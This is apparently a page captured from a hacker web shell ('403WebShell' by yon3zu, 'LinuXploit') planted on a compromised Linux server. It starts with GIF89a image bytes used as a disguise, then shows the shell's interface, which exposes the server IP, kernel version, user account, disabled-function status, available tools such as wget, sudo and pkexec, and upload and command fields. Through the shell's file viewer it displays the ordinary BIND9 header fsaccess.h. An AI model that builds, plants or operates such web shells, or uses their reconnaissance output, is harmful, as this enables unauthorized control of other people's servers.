GIF89a=( �' 7IAXKgNgYvYx\%wh&h}t�h%�s%x�}9�R��&�0%� (�.��5�SD��&�a)�x5��;ͣ*ȡ&ղ)ׯ7׵<ѻ4�3�H֧KͯT��Y�aq��q��F� !� ' !� NETSCAPE2.0 , =( ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g���E�������R���E����B�� ��ȸ��D���"�Ů� �H��L��D٫D�B�����D���T���H �G��A R�ڐ |�� ٭&��E8�S�kG�A�px�a��� R2XB��E8I���6X�:vT)�~��q�賥��"F~%x� � 4#Z�0O|-4Bs�X:= Q� Sal��yXJ`GȦ|s h��K3l7�B|�$'7Jީܪ0!��D�n=�P� ����0`�R�lj����v>���5 �.69�ϸd�����nlv�9��f{���Pbx �l5}�p� ��� �3a���I�O����!ܾ���i��9��#��)p�a ޽ �{�)vm��%D~ 6f��s}Œ�D�W E�`!� �&L8x� �ܝ{)x`X/>�}m��R�*|`D�=�_ ^�5 !_&'a�O�7�c��`DCx`�¥�9�Y�F���`?��"� �n@`�} lď��@4>�d S �v�xN��"@~d��=�g�s~G��� ���ud &p8Q�)ƫlXD����A~H�ySun�j���k*D�LH�] ��C"J��Xb~ʪwSt}6K,��q�S:9ت:���l�@�`�� �.۬�t9�S�[:��=`9N����{¿�A !R�:���6��x�0�_ �;������^���#����!����U���;0L1�����p% A��U̬ݵ��%�S��!���~`�G���� ���=4�np�3���������u�u�ٮ|%2�I��r�#0��J``8�@S@5� ���^`8E�]�.�S���7 � �0�j S�D� z���i�S�����!���l��w9*�D�I�nEX��� &A�Go�Qf��F��;���}�J����F5��Q|���X��T��y���]� o ��C=��:���PB@ D׽S�(>�C�x}`��xJЬ�۠��p+eE0`�}`A �/NE�� �9@��� H�7�!%B0`�l*��!8 2�%� �:�1�0E��ux%nP1�!�C)�P81l�ɸF#Ƭ{����B0>�� �b�`��O3��()yRpb��E.ZD8�H@% �Rx+%���c� ���f��b�d�`F�"8�XH"��-�|1�6iI, 2�$+](A*j� QT�o0.�U�`�R�}`�SN����yae�����b��o~ S)�y�@��3 �tT�0�&�+~L�f"�-|�~��>!�v��~�\Q1)}@�}h#aP72�"�$ !� " , =( &7IAXG]KgNgYvYxR"k\%w]'}h}t�h%�g+�s%r.m3ax3�x�}9��&��+�!7�0%� (�.�SD��&��;�"&ײ)׻4��6�K� �@pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E �� �������E �´��C���ǶR��D��"Ʒ�ʱH��M��GڬD�B����D��T����G���C�C� l&�~:'�tU�6ɹ#��)�'�.6�&��Ȼ K(8p0N�?!�2"��NIJX>R��OM '��2�*x�>#n� �@<[:�I�f ��T���Cdb��[�}E�5MBo��@�`@��tW-3 �x�B���jI�&E�9[T&$��ﯧ&"s��ȳ����dc�UUρ#���ldj?����`\}���u|3'�R]�6 �S#�!�FKL�*N E���`$�:e�YD�q�.�촁�s \-�jA 9�����-��M[�x(�s��x�|���p��}k�T�DpE@W� ��]k`1� ���Yb ��0l��*n0��"~zBd�~u�7�0Bl��0-�x~|U�U0 �h�*HS�|��e"#"?vp�i`e6^�+q��`m8 #V�� ��VS|`��"m"сSn|@:U���~`pb�G�ED����2F�I�? >�x� R� ��%~jx��<�a�9ij�2�D��&: Z`�]w���:�6��B�7eFJ|�ҧ�,���FǮcS�ʶ+B�,�ܺN���>PAD�HD��~���n��}�#�� Q��S���2�X�{�k�lQ�2�����w�|2� h9��G�,m���3��6-��E�L��I�³*K���q�`DwV�QXS��peS��� qܧTS����R�u �<�a�*At�lmE� � ��N[P1�ۦ��$��@`��Dpy�yXvCAy�B`}D� 0QwG#� �a[^�� $���Ǧ{L�"[��K�g�;�S~��GX.�goT.��ư��x���?1z��x~:�g�|�L� ��S`��0S]P�^p F<""�?!,�!N4&P� ����:T�@h�9%t��:�-~�I<`�9p I&.)^ 40D#p@�j4�ج:�01��rܼF2oW�#Z ;$Q q  �K��Nl#29 !F@�Bh�ᏬL!XF�LHKh�.�hE&J�G��<"WN!�����Y@� >R~19J"�2,/ &.GXB%�R�9B6�W]���W�I�$��9�RE8Y� ��"�A5�Q.axB�&ة�J�! �t)K%tS-�JF b�NMxL��)�R��"���6O!TH�H� 0 !� ) , =( &AXKgNgYvYxR"k\%wh&h}h%�g+�s%r.x3�x�}9��&��+�R,�!7�0%� (�.��5��&�a)��;�"&ף*Ȳ)ׯ7׻4�3��6�H֧KͻH�T��Y��q��h� ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E$����� � ����$E$��"��D� � ������R��C��� E ��H�M��G�D� �B��ϾD��a��`1r��Ӑ�� �o~�zU!L�C'�yW�UGt����ll�0���uG�)A�s[��x� �xO%��X2�  P�n:R/��aHae+�Dm?# ǣ6�8�J�x�Di�M���j���5oQ7�- <! *�l��R2r/a!l)d� A"�E���� &� ;��c �%����b��pe~C"B���H�eF2��`8qb�t_`ur`e� w�u3��Pv�h""�`�Íx�LĹ��3� �~ֺ�:���MDfJ� �۵�W�%�S�X �؁)�@��:E��w�u�Sxb8y\m�zS��Zb�E�L��w!y(>�"w�=�|��s�d �C�W)H�cC$�L �7r.�\{)@�`@ �X�$PD `aaG:���O�72E�amn]�"Rc�x�R� &dR8`g��i�xLR!�P &d����T���i�|�_ � Qi�#�`g:��:noM� :V �)p����W&a=�e�k� j���1߲s�x�W�jal|0��B0�, \j۴:6���C ��W��|��9���zĸV {�;��n��V�m�I��.��PN� ����C��+��By�ѾHŸ:��� 7�Y�FTk�SaoaY$D�S���29R�kt� ��f� ��:��Sp�3�I��DZ� �9���g��u�*3)O��[_hv ,���Et x�BH� �[��64M@�S�M7d�l�ܶ5-��U܍��z�R3Ԭ3~ ��P��5�g: ���kN�&0�j4���#{��3S�2�K�'ợl���2K{� {۶?~m𸧠�I�nE�='����^���_�=��~�#O���'���o..�Y�n��CSO��a��K��o,���b�����{�C�� "�{�K ��w��Ozdը�:$ ���v�] A#� ���a�z)Rx׿ƥ�d``�w-�y�f�K!����|��P��=�`�(f��'Pa ��BJa%��f�%`�}F����6>��`G"�}�=�!o`�^FP�ةQ�C���`(�}\�ݮ ��$<��n@dĠE#��U�I�!� #l��9`k���'Rr��Z�NB�MF �[�+9���-�wj���8�r� ,V�h"�|�S=�G_��"E� 0i*%̲��da0mVk�):;&6p>�jK ��# �D�:�c?:R Ӭf��I-�"�<�="��7�3S��c2RW ,�8(T"P0F¡Jh�" ; 403WebShell
403Webshell
Server IP : 173.249.157.85  /  Your IP : 13.58.147.98
Web Server : Apache
System : Linux server.frogzhost.com 3.10.0-1127.19.1.el7.x86_64 #1 SMP Tue Aug 25 17:23:54 UTC 2020 x86_64
User : econtech ( 1005)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/include/bind9/isc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/include/bind9/isc/fsaccess.h
/*
 * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 *
 * This Source Code Form is subject to the terms of the Mozilla Public
 * License, v. 2.0. If a copy of the MPL was not distributed with this
 * file, You can obtain one at http://mozilla.org/MPL/2.0/.
 *
 * See the COPYRIGHT file distributed with this work for additional
 * information regarding copyright ownership.
 */


#ifndef ISC_FSACCESS_H
#define ISC_FSACCESS_H 1

/*! \file isc/fsaccess.h
 * \brief The ISC filesystem access module encapsulates the setting of file
 * and directory access permissions into one API that is meant to be
 * portable to multiple operating systems.
 *
 * The two primary operating system flavors that are initially accommodated
 * are POSIX and Windows NT 4.0 and later.  The Windows NT access model is
 * considerable more flexible than POSIX's model (as much as I am loathe to
 * admit it), and so the ISC API has a higher degree of complexity than would
 * be needed to simply address POSIX's needs.
 *
 * The full breadth of NT's flexibility is not available either, for the
 * present time.  Much of it is to provide compatibility with what Unix
 * programmers are expecting.  This is also due to not yet really needing all
 * of the functionality of an NT system (or, for that matter, a POSIX system)
 * in BIND9, and so resolving how to handle the various incompatibilities has
 * been a purely theoretical exercise with no operational experience to
 * indicate how flawed the thinking may be.
 *
 * Some of the more notable dumbing down of NT for this API includes:
 *
 *\li   Each of FILE_READ_DATA and FILE_READ_EA are set with #ISC_FSACCESS_READ.
 *
 * \li  All of FILE_WRITE_DATA, FILE_WRITE_EA and FILE_APPEND_DATA are
 *     set with #ISC_FSACCESS_WRITE.  FILE_WRITE_ATTRIBUTES is not set
 *     so as to be consistent with Unix, where only the owner of the file
 *     or the superuser can change the attributes/mode of a file.
 *
 * \li  Both of FILE_ADD_FILE and FILE_ADD_SUBDIRECTORY are set with
 *     #ISC_FSACCESS_CREATECHILD.  This is similar to setting the WRITE
 *     permission on a Unix directory.
 *
 * \li  SYNCHRONIZE is always set for files and directories, unless someone
 *     can give me a reason why this is a bad idea.
 *
 * \li  READ_CONTROL and FILE_READ_ATTRIBUTES are always set; this is
 *     consistent with Unix, where any file or directory can be stat()'d
 *     unless the directory path disallows complete access somewhere along
 *     the way.
 *
 * \li  WRITE_DAC is only set for the owner.  This too is consistent with
 *     Unix, and is tighter security than allowing anyone else to be
 *     able to set permissions.
 *
 * \li  DELETE is only set for the owner.  On Unix the ability to delete
 *     a file is controlled by the directory permissions, but it isn't
 *     currently clear to me what happens on NT if the directory has
 *     FILE_DELETE_CHILD set but a file within it does not have DELETE
 *     set.  Always setting DELETE on the file/directory for the owner
 *     gives maximum flexibility to the owner without exposing the
 *     file to deletion by others.
 *
 * \li  WRITE_OWNER is never set.  This too is consistent with Unix,
 *     and is also tighter security than allowing anyone to change the
 *     ownership of the file apart from the superu..ahem, Administrator.
 *
 * \li  Inheritance is set to NO_INHERITANCE.
 *
 * Unix's dumbing down includes:
 *
 * \li  The sticky bit cannot be set.
 *
 * \li  setuid and setgid cannot be set.
 *
 * \li  Only regular files and directories can be set.
 *
 * The rest of this comment discusses a few of the incompatibilities
 * between the two systems that need more thought if this API is to
 * be extended to accommodate them.
 *
 * The Windows standard access right "DELETE" doesn't have a direct
 * equivalent in the Unix world, so it isn't clear what should be done
 * with it.
 *
 * The Unix sticky bit is not supported.  While NT does have a concept
 * of allowing users to create files in a directory but not delete or
 * rename them, it does not have a concept of allowing them to be deleted
 * if they are owned by the user trying to delete/rename.  While it is
 * probable that something could be cobbled together in NT 5 with inheritance,
 * it can't really be done in NT 4 as a single property that you could
 * set on a directory.  You'd need to coordinate something with file creation
 * so that every file created had DELETE set for the owner but noone else.
 *
 * On Unix systems, setting #ISC_FSACCESS_LISTDIRECTORY sets READ.
 * ... setting either #ISC_FSACCESS_CREATECHILD or #ISC_FSACCESS_DELETECHILD
 *      sets WRITE.
 * ... setting #ISC_FSACCESS_ACCESSCHILD sets EXECUTE.
 *
 * On NT systems, setting #ISC_FSACCESS_LISTDIRECTORY sets FILE_LIST_DIRECTORY.
 * ... setting #ISC_FSACCESS_CREATECHILD sets FILE_CREATE_CHILD independently.
 * ... setting #ISC_FSACCESS_DELETECHILD sets FILE_DELETE_CHILD independently.
 * ... setting #ISC_FSACCESS_ACCESSCHILD sets FILE_TRAVERSE.
 *
 * Unresolved:							XXXDCL
 * \li  What NT access right controls the ability to rename a file?
 * \li  How does DELETE work?  If a directory has FILE_DELETE_CHILD but a
 *      file or directory within it does not have DELETE, is that file
 *	or directory deletable?
 * \li  To implement isc_fsaccess_get(), mapping an existing Unix permission
 * 	mode_t back to an isc_fsaccess_t is pretty trivial; however, mapping
 *	an NT DACL could be impossible to do in a responsible way.
 * \li  Similarly, trying to implement the functionality of being able to
 *	say "add group writability to whatever permissions already exist"
 *	could be tricky on NT because of the order-of-entry issue combined
 *	with possibly having one or more matching ACEs already explicitly
 *	granting or denying access.  Because this functionality is
 *	not yet needed by the ISC, no code has been written to try to
 * 	solve this problem.
 */

#include <isc/lang.h>
#include <isc/types.h>

/*
 * Trustees.
 */
#define ISC_FSACCESS_OWNER	0x1 /*%< User account. */
#define ISC_FSACCESS_GROUP	0x2 /*%< Primary group owner. */
#define ISC_FSACCESS_OTHER	0x4 /*%< Not the owner or the group owner. */
#define ISC_FSACCESS_WORLD	0x7 /*%< User, Group, Other. */

/*
 * Types of permission.
 */
#define ISC_FSACCESS_READ		0x00000001 /*%< File only. */
#define ISC_FSACCESS_WRITE		0x00000002 /*%< File only. */
#define ISC_FSACCESS_EXECUTE		0x00000004 /*%< File only. */
#define ISC_FSACCESS_CREATECHILD	0x00000008 /*%< Dir only. */
#define ISC_FSACCESS_DELETECHILD	0x00000010 /*%< Dir only. */
#define ISC_FSACCESS_LISTDIRECTORY	0x00000020 /*%< Dir only. */
#define ISC_FSACCESS_ACCESSCHILD	0x00000040 /*%< Dir only. */

/*%
 * Adding any permission bits beyond 0x200 would mean typedef'ing
 * isc_fsaccess_t as isc_uint64_t, and redefining this value to
 * reflect the new range of permission types, Probably to 21 for
 * maximum flexibility.  The number of bits has to accommodate all of
 * the permission types, and three full sets of them have to fit
 * within an isc_fsaccess_t.
 */
#define ISC__FSACCESS_PERMISSIONBITS 10

ISC_LANG_BEGINDECLS

void
isc_fsaccess_add(int trustee, int permission, isc_fsaccess_t *access);

void
isc_fsaccess_remove(int trustee, int permission, isc_fsaccess_t *access);

isc_result_t
isc_fsaccess_set(const char *path, isc_fsaccess_t access);

ISC_LANG_ENDDECLS

#endif /* ISC_FSACCESS_H */

Youez - 2016 - github.com/yon3zu
LinuXploit